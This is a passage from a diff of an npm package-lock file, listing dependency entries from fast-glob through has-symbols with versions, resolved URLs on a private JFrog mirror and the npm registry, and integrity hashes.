"https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/fast-glob/-/fast-glob-3.2.12.tgz", + "integrity": "sha512-DVj4CQIYYow0BlaelwK1pHl5n5cRSJfM60UA0zK891sVInoPri2Ekj7+e1CT3/3qxXenpI+nBBmQAcJPJgaj4w==", + "requires": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.4" + }, + "dependencies": { + "glob-parent": { + "version": "5.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "requires": { + "is-glob": "^4.0.1" + } + } + } + }, + "fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==" + }, + "fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==" + }, + "fastq": { + "version": "1.15.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/fastq/-/fastq-1.15.0.tgz", + "integrity": "sha512-wBrocU2LCXXa+lWBt8RoIRD89Fi8OdABODa/kEnyeyjS5aZO5/GNvI5sEINADqP/h8M29UHTHUb53sUu5Ihqdw==", + "requires": { + "reusify": "^1.0.4" + } + }, + "faye-websocket": { + "version": "0.11.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/faye-websocket/-/faye-websocket-0.11.4.tgz", + "integrity": "sha512-CzbClwlXAuiRQAlUyfqPgvPoNKTckTPGfwZV4ZdAhVcP2lh9KUxJg2b5GkE7XbjKQ3YJnQ9z6D9ntLAlB+tP8g==", + "requires": { + "websocket-driver": ">=0.5.1" + } + }, + "fb-watchman": { + "version": "2.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/fb-watchman/-/fb-watchman-2.0.2.tgz", + "integrity": "sha512-p5161BqbuCaSnB8jIbzQHOlpgsPmK5rJVDfDKO91Axs5NC1uu3HRQm6wt9cd9/+GtQQIO53JdGXXoyDpTAsgYA==", + "requires": { + "bser": "2.1.1" + } + }, + "file-entry-cache": { + "version": "6.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/file-entry-cache/-/file-entry-cache-6.0.1.tgz", + "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==", + "requires": { + "flat-cache": "^3.0.4" + } + }, + "file-loader": { + "version": "6.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/file-loader/-/file-loader-6.2.0.tgz", + "integrity": "sha512-qo3glqyTa61Ytg4u73GultjHGjdRyig3tG6lPtyX/jOEJvHif9uB0/OCI2Kif6ctF3caQTW2G5gym21oAsI4pw==", + "requires": { + "loader-utils": "^2.0.0", + "schema-utils": "^3.0.0" + } + }, + "filelist": { + "version": "1.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/filelist/-/filelist-1.0.4.tgz", + "integrity": "sha512-w1cEuf3S+DrLCQL7ET6kz+gmlJdbq9J7yXCSjK/OZCPA+qEN1WyF4ZAf0YYJa4/shHJra2t/d/r8SV4Ji+x+8Q==", + "requires": { + "minimatch": "^5.0.1" + }, + "dependencies": { + "brace-expansion": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/brace-expansion/-/brace-expansion-2.0.1.tgz", + "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "requires": { + "balanced-match": "^1.0.0" + } + }, + "minimatch": { + "version": "5.1.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/minimatch/-/minimatch-5.1.6.tgz", + "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==", + "requires": { + "brace-expansion": "^2.0.1" + } + } + } + }, + "filesize": { + "version": "8.0.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/filesize/-/filesize-8.0.7.tgz", + "integrity": "sha512-pjmC+bkIF8XI7fWaH8KxHcZL3DPybs1roSKP4rKDvy20tAWwIObE4+JIseG2byfGKhud5ZnM4YSGKBz7Sh0ndQ==" + }, + "fill-range": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "finalhandler": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.3.1.tgz", + "integrity": "sha512-6BN9trH7bp3qvnrRyzsBz+g3lZxTNZTbVO2EV1CS0WIcDbawYVdYvGflME/9QP0h0pYlCDBCTjYa9nZzMDpyxQ==", + "requires": { + "debug": "2.6.9", + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "statuses": "2.0.1", + "unpipe": "~1.0.0" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + } + } + }, + "find-cache-dir": { + "version": "3.3.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/find-cache-dir/-/find-cache-dir-3.3.2.tgz", + "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==", + "requires": { + "commondir": "^1.0.1", + "make-dir": "^3.0.2", + "pkg-dir": "^4.1.0" + } + }, + "find-up": { + "version": "5.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "requires": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + } + }, + "flat-cache": { + "version": "3.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/flat-cache/-/flat-cache-3.0.4.tgz", + "integrity": "sha512-dm9s5Pw7Jc0GvMYbshN6zchCA9RgQlzzEZX3vylR9IqFfS8XciblUXOKfW6SiuJ0e13eDYZoZV5wdrev7P3Nwg==", + "requires": { + "flatted": "^3.1.0", + "rimraf": "^3.0.2" + } + }, + "flatted": { + "version": "3.2.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/flatted/-/flatted-3.2.7.tgz", + "integrity": "sha512-5nqDSxl8nn5BSNxyR3n4I6eDmbolI6WT+QqR547RwxQapgjQBmtktdP+HTBb/a/zLsbzERTONyUB5pefh5TtjQ==" + }, + "follow-redirects": { + "version": "1.15.6", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.6.tgz", + "integrity": "sha512-wWN62YITEaOpSK584EZXJafH1AGpO8RVgElfkuXbTOrPX4fIfOyEpW/CsiNd8JdYrAoOvafRTOEnvsO++qCqFA==" + }, + "for-each": { + "version": "0.3.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/for-each/-/for-each-0.3.3.tgz", + "integrity": "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw==", + "requires": { + "is-callable": "^1.1.3" + } + }, + "fork-ts-checker-webpack-plugin": { + "version": "6.5.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/fork-ts-checker-webpack-plugin/-/fork-ts-checker-webpack-plugin-6.5.3.tgz", + "integrity": "sha512-SbH/l9ikmMWycd5puHJKTkZJKddF4iRLyW3DeZ08HTI7NGyLS38MXd/KGgeWumQO7YNQbW2u/NtPT2YowbPaGQ==", + "requires": { + "@babel/code-frame": "^7.8.3", + "@types/json-schema": "^7.0.5", + "chalk": "^4.1.0", + "chokidar": "^3.4.2", + "cosmiconfig": "^6.0.0", + "deepmerge": "^4.2.2", + "fs-extra": "^9.0.0", + "glob": "^7.1.6", + "memfs": "^3.1.2", + "minimatch": "^3.0.4", + "schema-utils": "2.7.0", + "semver": "^7.3.2", + "tapable": "^1.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "cosmiconfig": { + "version": "6.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/cosmiconfig/-/cosmiconfig-6.0.0.tgz", + "integrity": "sha512-xb3ZL6+L8b9JLLCx3ZdoZy4+2ECphCMo2PwqgP1tlfVq6M6YReyzBJtvWWtbDSpNr9hn96pkCiZqUcFEc+54Qg==", + "requires": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.1.0", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.7.2" + } + }, + "fs-extra": { + "version": "9.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/fs-extra/-/fs-extra-9.1.0.tgz", + "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", + "requires": { + "at-least-node": "^1.0.0", + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + } + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "schema-utils": { + "version": "2.7.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/schema-utils/-/schema-utils-2.7.0.tgz", + "integrity": "sha512-0ilKFI6QQF5nxDZLFn2dMjvc4hjg/Wkg7rHd3jK6/A4a1Hl9VFdQWvgB1UMGoU94pad1P/8N7fMcEnLnSiju8A==", + "requires": { + "@types/json-schema": "^7.0.4", + "ajv": "^6.12.2", + "ajv-keywords": "^3.4.1" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + }, + "tapable": { + "version": "1.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/tapable/-/tapable-1.1.3.tgz", + "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==" + } + } + }, + "form-data": { + "version": "3.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/form-data/-/form-data-3.0.1.tgz", + "integrity": "sha512-RHkBKtLWUVwd7SqRIvCZMEvAMoGUp0XU+seQiZejj0COz3RI3hWP4sCv3gZWWLjJTd7rGwcsF5eKZGii0r/hbg==", + "requires": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "mime-types": "^2.1.12" + } + }, + "forwarded": { + "version": "0.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/forwarded/-/forwarded-0.2.0.tgz", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==" + }, + "fraction.js": { + "version": "4.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/fraction.js/-/fraction.js-4.2.0.tgz", + "integrity": "sha512-MhLuK+2gUcnZe8ZHlaaINnQLl0xRIGRfcGk2yl8xoQAfHrSsL3rYu6FCmBdkdbhc9EPlwyGHewaRsvwRMJtAlA==" + }, + "fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==" + }, + "fs-extra": { + "version": "10.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/fs-extra/-/fs-extra-10.1.0.tgz", + "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", + "requires": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + } + }, + "fs-monkey": { + "version": "1.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/fs-monkey/-/fs-monkey-1.0.4.tgz", + "integrity": "sha512-INM/fWAxMICjttnD0DX1rBvinKskj5G1w+oy/pnm9u/tSlnBrzFonJMcalKJ30P8RRsPzKcCG7Q8l0jx5Fh9YQ==" + }, + "fs.realpath": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==" + }, + "fsevents": { + "version": "2.3.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "optional": true + }, + "function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==" + }, + "function.prototype.name": { + "version": "1.1.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/function.prototype.name/-/function.prototype.name-1.1.5.tgz", + "integrity": "sha512-uN7m/BzVKQnCUF/iW8jYea67v++2u7m5UgENbHRtdDVclOUP+FMPlCNdmk0h/ysGyo2tavMJEDqJAkJdRa1vMA==", + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3", + "es-abstract": "^1.19.0", + "functions-have-names": "^1.2.2" + } + }, + "functions-have-names": { + "version": "1.2.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/functions-have-names/-/functions-have-names-1.2.3.tgz", + "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==" + }, + "gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==" + }, + "get-caller-file": { + "version": "2.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==" + }, + "get-intrinsic": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.4.tgz", + "integrity": "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==", + "requires": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3", + "hasown": "^2.0.0" + } + }, + "get-own-enumerable-property-symbols": { + "version": "3.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/get-own-enumerable-property-symbols/-/get-own-enumerable-property-symbols-3.0.2.tgz", + "integrity": "sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g==" + }, + "get-package-type": { + "version": "0.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/get-package-type/-/get-package-type-0.1.0.tgz", + "integrity": "sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q==" + }, + "get-stream": { + "version": "6.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/get-stream/-/get-stream-6.0.1.tgz", + "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==" + }, + "get-symbol-description": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/get-symbol-description/-/get-symbol-description-1.0.0.tgz", + "integrity": "sha512-2EmdH1YvIQiZpltCNgkuiUnyukzxM/R6NDJX31Ke3BG1Nq5b0S2PhX59UKi9vZpPDQVdqn+1IcaAwnzTT5vCjw==", + "requires": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.1" + } + }, + "glob": { + "version": "7.2.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "glob-parent": { + "version": "6.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "requires": { + "is-glob": "^4.0.3" + } + }, + "glob-to-regexp": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz", + "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==" + }, + "global-modules": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/global-modules/-/global-modules-2.0.0.tgz", + "integrity": "sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A==", + "requires": { + "global-prefix": "^3.0.0" + } + }, + "global-prefix": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/global-prefix/-/global-prefix-3.0.0.tgz", + "integrity": "sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg==", + "requires": { + "ini": "^1.3.5", + "kind-of": "^6.0.2", + "which": "^1.3.1" + }, + "dependencies": { + "which": { + "version": "1.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/which/-/which-1.3.1.tgz", + "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", + "requires": { + "isexe": "^2.0.0" + } + } + } + }, + "globals": { + "version": "11.12.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/globals/-/globals-11.12.0.tgz", + "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==" + }, + "globalthis": { + "version": "1.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/globalthis/-/globalthis-1.0.3.tgz", + "integrity": "sha512-sFdI5LyBiNTHjRd7cGPWapiHWMOXKyuBNX/cWJ3NfzrZQVa8GI/8cofCl74AOVqq9W5kNmguTIzJ/1s2gyI9wA==", + "requires": { + "define-properties": "^1.1.3" + } + }, + "globby": { + "version": "11.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/globby/-/globby-11.1.0.tgz", + "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==", + "requires": { + "array-union": "^2.1.0", + "dir-glob": "^3.0.1", + "fast-glob": "^3.2.9", + "ignore": "^5.2.0", + "merge2": "^1.4.1", + "slash": "^3.0.0" + } + }, + "gopd": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/gopd/-/gopd-1.0.1.tgz", + "integrity": "sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==", + "requires": { + "get-intrinsic": "^1.1.3" + } + }, + "graceful-fs": { + "version": "4.2.11", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==" + }, + "grapheme-splitter": { + "version": "1.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/grapheme-splitter/-/grapheme-splitter-1.0.4.tgz", + "integrity": "sha512-bzh50DW9kTPM00T8y4o8vQg89Di9oLJVLW/KaOGIXJWP/iqCN6WKYkbNOF04vFLJhwcpYUh9ydh/+5vpOqV4YQ==" + }, + "graphemer": { + "version": "1.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/graphemer/-/graphemer-1.4.0.tgz", + "integrity": "sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==" + }, + "gzip-size": { + "version": "6.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/gzip-size/-/gzip-size-6.0.0.tgz", + "integrity": "sha512-ax7ZYomf6jqPTQ4+XCpUGyXKHk5WweS+e05MBO4/y3WJ5RkmPXNKvX+bx1behVILVwr6JSQvZAku021CHPXG3Q==", + "requires": { + "duplexer": "^0.1.2" + } + }, + "handle-thing": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/handle-thing/-/handle-thing-2.0.1.tgz", + "integrity": "sha512-9Qn4yBxelxoh2Ow62nP+Ka/kMnOXRi8BXnRaUwezLNhqelnN49xKz4F/dPP8OYLxLxq6JDtZb2i9XznUQbNPTg==" + }, + "harmony-reflect": { + "version": "1.6.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/harmony-reflect/-/harmony-reflect-1.6.2.tgz", + "integrity": "sha512-HIp/n38R9kQjDEziXyDTuW3vvoxxyxjxFzXLrBr18uB47GnSt+G9D29fqrpM5ZkspMcPICud3XsBJQ4Y2URg8g==" + }, + "has": { + "version": "1.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has/-/has-1.0.3.tgz", + "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "requires": { + "function-bind": "^1.1.1" + } + }, + "has-bigints": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-bigints/-/has-bigints-1.0.2.tgz", + "integrity": "sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ==" + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==" + }, + "has-property-descriptors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", + "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", + "requires": { + "es-define-property": "^1.0.0" + } + }, + "has-proto": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-proto/-/has-proto-1.0.1.tgz", + "integrity": "sha512-7qE+iP+O+bgF9clE5+UoBFzE65mlBiVj3tKCrlNQ0Ogwm0BjpT/gK4SlLYDMybDh5I3TCTKnPPa0oMG7JDYrhg==" + }, + "has-symbols": { + "version": "1.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-symbols/-/has-symbols-1.0.3.tgz", + "integrity": 